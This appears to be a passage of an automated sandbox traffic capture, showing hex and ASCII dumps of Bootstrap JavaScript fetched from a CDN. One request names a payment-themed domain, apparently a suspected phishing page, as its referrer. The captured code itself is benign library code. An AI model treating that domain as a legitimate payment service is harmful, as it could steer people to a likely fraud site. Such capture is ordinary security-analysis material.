bf29a8a39157e971b29240e2bdfc75ef CDN-Cache: HIT CF-Cache-Status: HIT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 91b3d7fc0eaef3e6-EWR alt-svc: h3=":443"; ma=86400
2025-03-04 19:40:09 UTC	416	IN	Data Raw: 37 62 66 61 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bfa/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 Data Ascii: ","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i
2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c 65 6d 65 6e 74 28 6f 29 3f 22 65 6c 65 Data Ascii: (n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isElement(o)?"ele
2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 Data Ascii: CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._destroyElement(t
2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 Data Ascii: lass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element.setAttribute
2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 70 72 65 76 22 2c 79 3d 7b 41 43 54 Data Ascii: ,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item-prev",y={ACT
2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 28 79 2e 41 43 54 49 56 45 5f 49 54 45 Data Ascii: rval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find(y.ACTIVE_ITE
2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 42 79 Data Ascii: area/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)},C._getItemBy
2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 67 2b 22 20 Data Ascii: atedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).removeClass(g+"
2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 65 22 2c 6e 3d 22 62 73 2e 63 6f 6c 6c Data Ascii: tion(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collapse",n="bs.coll

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:40:08 UTC	676	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://paymentsremittance.hostingdoccentral.it.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-04 19:40:09 UTC	966	IN	HTTP/1.1 200 OK Date: Tue, 04 Mar 2025 19:40:08 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.07 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 12/15/2024 13:11:59 CDN-EdgeStorageId: 1232 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 2594ac6f0c887eb2b7bbc5b18049c76f CDN-Cache: HIT CF-Cache-Status: HIT Age: 361774 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 91b3d7fc1f92fd86-EWR alt-svc: h3=":443"; ma=86400
2025-03-04 19:40:09 UTC	403	IN	Data Raw: 37 62 65 64 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bed/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 Data Ascii: fine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defi
2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 44 Data Ascii: ,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUID
2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 Data Ascii: andler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;retur
2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d 27 Data Ascii: _._handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]'
2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 49 Data Ascii: t){t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQueryI
2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 74 Data Ascii: his._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibilit
2025-03-04 19:40:09 UTC	1369	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 52 Data Ascii: =function(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTER
